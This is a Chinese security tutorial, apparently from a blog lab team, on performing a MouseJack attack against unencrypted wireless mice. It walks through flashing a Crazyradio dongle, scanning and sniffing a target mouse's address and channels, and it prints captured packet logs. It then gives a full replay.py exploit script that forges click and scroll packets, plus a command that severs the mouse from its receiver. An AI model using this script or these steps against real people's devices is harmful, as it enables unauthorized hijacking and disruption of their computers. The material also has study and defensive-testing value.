MOUSEJACK HACKING : 如何利用MOUSEJACK进行物理攻击

Author 漏洞盒子安全实验室:1c3z、雪碧0xroot

14540858194014.png

演示视频

0x00 前言

近期安全公司Bastille Networks(巴士底狱)安全研究员发现大多数无线鼠标和接收器之间的通信信号是不加密的。黑客可对一两百米范围内存在漏洞的无线键鼠进行嗅探甚至劫持,从而控制受害者电脑,向计算机中输入任何指令!

IMG_0126.PNG

在本文中我们将演示如何利用mouseJack控制别人的鼠标。

0x01 环境搭建

刚开始选设备的时候在淘宝买了一块nRF24LU1 2.4GHz无线数传模块  和 2.4GHz nRF24LU1+PA+LAN 无线数传模块

nRF24LU1 2.4GHz无线数传模块

结果硬是被坑了一个星期,期间在乌云drops看到三好学生的Mousejack测试指南一文后改用Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle。

1.1设备:

1.Crazyradio 2.4Ghz nRF24LU1+ USB radio dongle:

883452548DD00630F64177D49FA8A53E.jpg

2.戴尔DELL某款存在漏洞的键鼠

3.笔记本、虚拟机:Virtual Box 、OS:kali

1.2 插入设备&安装驱动

插入Crazyradio nRF24LU1+ USB radio dongle,如果是Windows的主机需要通过zadig (下载链接: http://pan.baidu.com/s/1qXbbK1A 密码: 2fnd)来安装Crazyradio nRF24LU1+ USB radio dongle的硬件驱动:

zadig

1.3 环境部署

apt-get install sdcc binutils python python-pip
pip install -U pip
pip install -U -I pyusb
pip install -U platformio
apt-get install sdcc binutils python python-pip

接着把设备接入到虚拟机,执行lsusb检测设备是否识别:(注 刚买的设备在这一步可以看到有个设备的id为1915:7777,本文中使用的设备已经执行完下文所有步骤,所以文中截图的ID值有所不同)

lsusb

1.4刷入crazyradio pa固件

git clone https://github.com/bitcraze/crazyradio-firmware
cd crazyradio-firmware

python usbtools/launchBootloader.py    这一步最好在Virtual Box中执行,如果使用VM将会报错!

wget https://github.com/bitcraze/crazyradio-firmware/releases/download/0.53/cradio-pa-0.53.bin  下载cradio pa模块固件

python usbtools/nrfbootload.py flash cradio-pa-0.53.bin 烧录固件

此时重插拔设备,然后执行lsusb Crazyradio nRF24LU1+ USB radio dongle设备的ID为1915:1011

1.5编译MouseJack项目

git clone https://github.com/RFStorm/mousejack.git
cd mousejack
make
make install
mousejack

绿色部分以及上一行提示固件刷入成功,需要重新插拔一下设备。升级为mousejack的固件时,设备ID为1915:1012。

0x02 蓝牙频段&蓝牙跳频

3月19日更新:蓝牙有79个信道,而无线鼠标远不止。虽然无线鼠标不是用的蓝牙,但是我们可以通过蓝牙的跳频来理解无线鼠标的跳频的原理和目的。

蓝牙规范

在扫描嗅探之前我们来了解一下蓝牙的跳频。蓝牙工作于2.4~2.48GHz ISM频段,由于该频段频谱异常拥挤(11b/g,微波炉、WIFI等),并且BlueTooth采用低功耗(-6~+4dBm)。因此为了避免频率的相互冲突,蓝牙采用了AFH(Adaptive Frequency Hopping),LBT(Listen Before Talk),功率控制等抗干扰措施。 AFH 的实现过程为设备识别、信道分类、分类信息交换、自适应跳频。

设备识别:蓝牙设备之间进行互联之前,首先根据链路管理协议(LMP:Link Manager Protocol)交换双方之间的信息,确定双方是否均支持AFH模式,LMP信息中包含了双方应使用的最小信道数。此步骤由主机进行询问,从机回答。

信道分类:首先按照PLRs(Packet Loss Ratios)的门限制、有效载荷的CRC,HEC,FEC误差参数对每一个信道进行评估。从设备测量CRC时,也会自动检测此包的CRC,已决定此包的正误。然后主从设备分别按照LMP的格式形成一份分类表,之后主从设备的跳频会根据此分类表进行。

信道信息交换:主从设备会通过LMP命令通知网络中的所有成员,交换AFH的信息,信道被分为好信道,坏信道,未用信道。主从设备之间联系以确定那些信道可用,那些不可用。

执行AFH:先进性调频编辑,以选择合适的调频频率。由于环境中会存在突发干扰,所以调频的分类表需要进行周期性跟新,并且及时进行相互交流。

FreeBuf小科普:

ISM,Industrial Scientific Medical :工业科学及医疗频带,是无须授权、任何人均可使用频谱的一部分。

蓝牙的波段为2400–2483.5MHz,这是全球范围内无需取得执照(但并非无管制的)的工业、科学和医疗用(ISM)波段的 2.4 GHz 短距离无线电频段。

蓝牙使用跳频技术,将传输的数据分割成数据包,通过79个指定的蓝牙频道分别传输数据包。每个频道的频宽为1 MHz。蓝牙4.0使用2 MHz 间距,可容纳40个频道。第一个频道始于2402 MHz,每1 MHz一个频道,至2480 MHz。有了适配跳频(Adaptive Frequency-Hopping 简称AFH)功能,通常每秒跳1600次。

跳频是Bluetooth使用的关键技术之一。对应于单时隙包,Bluetooth的跳频速率为1600跳每秒,对应于多时隙包,跳频速率有所降低;但在建链时(包括寻呼和查询)则提高为3,200跳每秒。使用这样高的跳频速率,Bluetooth系统具有足够高的抗干扰能力。下图展示的是低功耗蓝牙(Bluetooth Low Energy BLE)的信道:3个广播信道,37个数据信道:

低功耗蓝牙信道例表

蓝牙信道频率表

Clipboard Image.png

BlueTooth 有79个射频信道,按0-78排序,并于2402 MHz开始,以1 MHz分隔:(关于蓝牙和低功耗蓝牙的更多细节可参考:低功耗蓝牙(BLE)入门之如何调戏别人的小米手环 一文)

channel 00 : 2.402000000 Ghz
channel 01 : 2.403000000 Ghz
…
channel 78 : 2.480000000 Ghz

0x03扫描

mousejack项目tools目录中有扫描、嗅探等功能的Python脚本:

tree.jpg

注:每次执行完脚本的时候需要重新插拔一下Crazyradio,否则下次执行脚本将会出现报错。

这里我们来说一下如何通过扫描查找附近的无线鼠标。

用法: ./nrf24-scanner.py [-h] [-c N [N ...]] [-v] [-l] [-p PREFIX] [-d DWELL]

optional arguments:
  -h, --help                          show this help message and exit 显示帮助信息
  -c N [N ...], --channels N [N ...]  RF channels 指定扫描信道
  -v, --verbose                       Enable verbose output  输出(显示)详细信息
  -l, --lna                           Enable the LNA (for CrazyRadio PA dongles)  启用LAN
  -p PREFIX, --prefix PREFIX          Promiscuous mode address prefix
  -d DWELL, --dwell DWELL             Dwell time per channel, in milliseconds
scanner.jpg

我们可以看到执行扫描脚本后终端打印出了日期-时间、信道、MAC地址数据包数据等。

0x03 嗅探

如何缩小范围捕获指定设备的数据包呢?这里就要用到嗅探脚本了。我们可以对某个设备进行频繁操作,使其不停地发送无线数据包,这样在终端出现的概率随之增加,然后记录其MAC地址,启用指定MAC地址参数嗅探该设备以确定出该款鼠标的无线工作信道(一般为5个信道、不同品牌、型号其值也有所不同)。

用法: ./nrf24-sniffer.py [-h] [-c N [N ...]] [-v] [-l] -a ADDRESS [-t TIMEOUT] [-k ACK_TIMEOUT] [-r RETRIES]

optional arguments:
  -h, --help                                 show this help message and exit 打印帮助信息
  -c N [N ...], --channels N [N ...]         RF channels  指定信道
  -v, --verbose                              Enable verbose output  启用详细信息输出
  -l, --lna                                  Enable the LNA (for CrazyRadio PA dongles)   启用LAN
  -a ADDRESS, --address ADDRESS              Address to sniff, following as it changes channels  指定MAC地址
  -t TIMEOUT, --timeout TIMEOUT              Channel timeout, in milliseconds  设定信道超时值
  -k ACK_TIMEOUT, --ack_timeout ACK_TIMEOUT  ACK timeout in microseconds, accepts [250,4000], step 250  
  -r RETRIES, --retries RETRIES              Auto retry limit, accepts [0,15]  

我手上有一款存在漏洞的设备,其MAC地址为C6:4A:78:A2:02,这一MAC地址是鼠标的还是USB适配器的我们暂且不说。已知的是:鼠标发送的数据包带这一MAC地址,USB适配器也只接收带有这MAC地址的数据包。执行

./nfr24-sniffer.py -a C6:4A:78:A2:02

然后频繁对鼠标进行操作,我们可以抓取到如下数据:

Clipboard Image.png

对其它鼠标进行测试的时候一般可以捕获到五个信道,这款设备我们捕获到了2、15、79、49、83 这五个信道。

其实也可以利用扫描脚本加入-c参数指定信道来进行嗅探:(这种方法会嗅探到其它在同一信道通信的鼠标设备数据,建议在无线鼠标设备少的场景使用此方法)

./nrf24-scanner.py -c 2 15 79 49 83
Clipboard Image.png

0x04 攻击

4.1 劫持&重放

在上面的样本中,我们可以发现其中数据的一些规律。通过Crazyradio nRF24LU1+ USB radio dongle我们可以伪装成原装的鼠标,给USB适配器发送十六进制数据包。(可伪造鼠标左右键以及滚轮操作)

鼠标左键数据捕获(只按鼠标左键):

[2016-03-17 14:21:57.827]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.834]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.848]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.898]  44  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:57.937]  44  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:58.002]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:58.096]  44  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:21:59.362]  44  10  C6:4A:78:A2:02  02:01:00:00:00:00:00:3B:61:74

鼠标右键数据:

[2016-03-17 14:31:18.540]  79  10  C6:4A:78:A2:02  02:02:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:20.316]   2  10  C6:4A:78:A2:02  02:02:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:22.300]  44  10  C6:4A:78:A2:02  02:02:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:27.202]  44  10  C6:4A:78:A2:02  02:00:01:00:00:00:00:3B:61:74

[2016-03-17 14:31:27.275]  44  10  C6:4A:78:A2:02  02:00:02:00:00:00:00:3B:61:74

[2016-03-17 14:31:28.606]  79  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

[2016-03-17 14:31:29.157]   6  10  C6:4A:78:A2:02  02:00:00:00:00:00:00:3B:61:74

exp: replay.py

import time, logging
from lib import common
import random
common.init_args('./replay.py')
common.parser.add_argument('-a', '--address', type=str, help='Known address', required=True)
common.parser.add_argument('-d', '--payloads', type=str, nargs='+' ,help='Need replay payloads', required=True, metavar='S')

common.parse_and_init()

address = common.args.address.replace(':', '').decode('hex')[::-1][:5]
address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])

if len(address) < 2: 
    raise Exception('Invalid address: {0}'.format(common.args.address))

common.radio.enter_sniffer_mode(address)


def replay():
    payloads = common.args.payloads
    c = random.choice(common.channels)

    print 'Trying address {0} on channel {1}'.format(address_string,c)
    common.radio.set_channel(c)
    for payload in payloads:
        print 'Tring send payload {0}'.format(payload)
        payload = payload.replace(':', '').decode('hex')
        common.radio.transmit_payload(payload)
    time.sleep(0.5)

def left_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["21:01:00:AB:11:D1"]
    common.radio.set_channel(79)
    for payload in payloads:
        payload = payload.replace(':', '').decode('hex')
        common.radio.transmit_payload(payload,2,3)
    time.sleep(1.0)

def right_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["21:02:00:AB:11:D1"]
    for c in channels:
        common.radio.set_channel(int(c))
        for payload in payloads:
            payload = payload.replace(':', '').decode('hex')
            common.radio.transmit_payload(payload,2,0)
        time.sleep(0.5)


def down_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["01:00:FF:0B:11:D1","01:00:FD:0B:11:D1","01:00:F9:0B:11:D1"]
    for c in channels:
        common.radio.set_channel(int(c))
        for payload in payloads:
            payload = payload.replace(':', '').decode('hex')
            common.radio.transmit_payload(payload,2,0)
        time.sleep(0.3)

def up_click():
    print 'Trying address {0}'.format(address_string)
    payloads = ["01:00:00:0B:11:D1","01:00:03:0B:11:D1","01:00:06:0B:11:D1"]
    for c in channels:
        common.radio.set_channel(int(c))
        for payload in payloads:
            payload = payload.replace(':', '').decode('hex')
            common.radio.transmit_payload(payload,2,0)
        time.sleep(0.3)


while True:
    replay()
    #down_click()
    #up_click()
    #right_click()
    #left_click()
python replay.py -c 2 15 79 49 83  -a C6:4A:78:A2:02 -d 02:01:00:00:00:00:00:3B:61:74 02:00:00:00:00:00:00:3B:61:74 02:02:00:00:00:00:00:3B:61:74

replay目录位置 $mousejack/tools
-c 指定信道
-d 指定需要发送的数据

4.2解除鼠标与USB适配器通讯

./nrf24-network-mapper.py -a C6:4A:78:A2:02
Clipboard Image.png

提示Successful的时候无线鼠标已经失去了对电脑的控制权,被攻击者的内心OS:

Image

这时需要重新插拔一下无线键盘鼠标的USB适配器,鼠标键盘才能恢复正常使用。

0x06 参考&感谢

三好学生@乌云drops :Mousejack测试指南

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据